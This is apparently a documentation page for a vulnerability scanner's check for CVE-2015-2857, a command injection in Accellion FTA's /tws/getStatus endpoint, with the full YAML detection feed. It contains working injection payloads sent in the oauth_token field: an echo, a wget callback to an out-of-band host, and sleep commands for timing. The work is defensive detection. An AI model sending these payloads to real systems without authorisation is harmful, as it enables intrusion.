Accellion FTA — 1 vulnerability check

noctis ships 1 vulnerability check for Accellion FTA, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Accellion FTA getStatus oauth_token Command Injection

CVECVE-2015-2857
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, script, wait_oob · highest QoD 97
Feedtests/vulnerabilities/accellion-fta/CVE-2015-2857.yaml

Detects the command injection in the /tws/getStatus handler of Accellion File Transfer Appliance 9.11.200 and earlier: the oauth_token form field is placed inside single quotes in a shell command line. The feed first sends an oauth_token that closes the quote and runs a harmless echo, and requires the JSON success reply. It then proves execution with an out-of-band HTTP callback whose path is assembled by the shell from quote-split pieces, or with a reply delay that follows an injected sleep. A host that only accepts the quote-breaking token without either proof is reported at a lower quality of detection. Nothing is written on the appliance.

How noctis detects it

  1. HTTP(S) request POST /tws/getStatus with a crafted body
  2. Checks probe.body for "result_msg":"Success","transaction_id":"4711"
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /tws/getStatus with a crafted body
  5. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Accellion FTA getStatus command injection confirmed: the injected wget in oauth_token fetched the per-run OOB URL, whose token only a shell…
  6. HTTP(S) request POST /tws/getStatus with a crafted body
  7. HTTP(S) request POST /tws/getStatus with a crafted body
  8. Checks slow3.body for "result_msg":"Success" → finding QoD 75: Accellion FTA getStatus command injection confirmed by timing: the quote-breaking probe answered in … ms, `;sleep 6` in … ms and `;sleep 3`…
  9. Checks probe.body for "result_msg":"Success","transaction_id":"4711" → finding QoD 70: POST /tws/getStatus accepted oauth_token=`'%3Becho '` and replied with the JSON success message (injection not confirmed: OOB off or not re…

References:

Feed source — tests/vulnerabilities/accellion-fta/CVE-2015-2857.yaml
# Accellion File Transfer Appliance (FTA) <= 9.11.200 — command injection in
# /tws/getStatus `oauth_token` (CVE-2015-2857)
#
# Ported from OpenVAS/Greenbone NVT `2015/gb_accellion_fta_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.106032, GPL-2.0-only). The advisory: `oauth_token`
# is pasted into a system() command line (wrapped in single quotes) by several
# mod_perl handlers, so `'` closes the quote and `;` starts a command.
#
# The NASL only POSTs `oauth_token='; echo '` and matches the JSON success
# reply `"result_msg":"Success","transaction_id":"…`: that shows the request is
# accepted, not that a command ran. Better than the NASL: the request below
# is the same probe (QoD 70 fallback) and real execution is proven by
#   1. an OOB HTTP callback whose URL only a shell can rebuild (the token is
#      split by empty quotes `''`, removed by the shell) — QoD 97;
#   2. a reply delay that scales with an injected `sleep` (control, 6 s, 3 s
#      windows) — QoD 75.
# Both payloads are benign and write nothing on the appliance.
uid: 95f8330f-2160-4ae2-813b-b0f062d8e920
name: "Accellion FTA getStatus oauth_token Command Injection (CVE-2015-2857)"
description: |
  Detects the command injection in the /tws/getStatus handler of Accellion
  File Transfer Appliance 9.11.200 and earlier: the oauth_token form field is
  placed inside single quotes in a shell command line. The feed first sends
  an oauth_token that closes the quote and runs a harmless echo, and requires
  the JSON success reply. It then proves execution with an out-of-band HTTP
  callback whose path is assembled by the shell from quote-split pieces, or
  with a reply delay that follows an injected sleep. A host that only accepts
  the quote-breaking token without either proof is reported at a lower quality
  of detection. Nothing is written on the appliance.
cves: [CVE-2015-2857]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [accellion, fta, file-transfer, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-2857"
  - "OpenVAS/Greenbone NASL 2015/gb_accellion_fta_rce_vuln.nasl (GPL-2.0-only)"

steps:
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-ok
    action: set_var
    var_name: probe_ok
    var_value: false

  # NASL probe: oauth_token='; echo '   (form-encoded)
  - id: probe
    action: http_request
    method: POST
    path: /tws/getStatus
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "transaction_id=4711&oauth_token='%3Becho%20'"
    store_as: probe

  - id: probe-ok
    action: match
    source: probe.body
    pattern: "\"result_msg\":\"Success\",\"transaction_id\":\"4711\""
    condition: "probe.status == 200"
    on_match:
      set_vars:
        probe_ok: true

  # 1. OOB: ';wget -q -T 5 -t 1 -O- http://<host>:<port>/<a>''<b>;echo '
  - id: oob-pieces
    action: script
    condition: "probe_ok == true && oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobp

  - id: inject-oob
    action: http_request
    method: POST
    path: /tws/getStatus
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "probe_ok == true && oob_enabled"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "transaction_id=4712&oauth_token='%3Bwget%20-q%20-T%205%20-t%201%20-O-%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobp.a}}''{{oobp.b}}%3Becho%20'"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "probe_ok == true && oob_enabled"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Accellion FTA getStatus command injection confirmed: the injected wget in oauth_token fetched the per-run OOB URL, whose token only a shell could rebuild from its quote-split form (HTTP callback received)"
      stop: true

  # 2. Time differential: the probe is the control.
  - id: inject-sleep6
    action: http_request
    method: POST
    path: /tws/getStatus
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "probe_ok == true && probe.duration_ms < 3000"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "transaction_id=4713&oauth_token='%3Bsleep%206%3Becho%20'"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: POST
    path: /tws/getStatus
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "probe_ok == true && probe.duration_ms < 3000 && slow6.status == 200 && slow6.duration_ms >= probe.duration_ms + 5000 && slow6.duration_ms < probe.duration_ms + 9000"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "transaction_id=4714&oauth_token='%3Bsleep%203%3Becho%20'"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "\"result_msg\":\"Success\""
    condition: "probe_ok == true && probe.duration_ms < 3000 && slow6.status == 200 && slow6.duration_ms >= probe.duration_ms + 5000 && slow6.duration_ms < probe.duration_ms + 9000 && slow3.status == 200 && slow3.duration_ms >= probe.duration_ms + 2500 && slow3.duration_ms < probe.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Accellion FTA getStatus command injection confirmed by timing: the quote-breaking probe answered in {{probe.duration_ms}} ms, `;sleep 6` in {{slow6.duration_ms}} ms and `;sleep 3` in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
      stop: true

  # 3. Faithful NASL fallback.
  - id: report-probe
    action: match
    source: probe.body
    pattern: "\"result_msg\":\"Success\",\"transaction_id\":\"4711\""
    condition: "probe_ok == true"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "POST /tws/getStatus accepted oauth_token=`'%3Becho '` and replied with the JSON success message (injection not confirmed: OOB off or not received, no timing difference measured)"

View these feeds on GitHub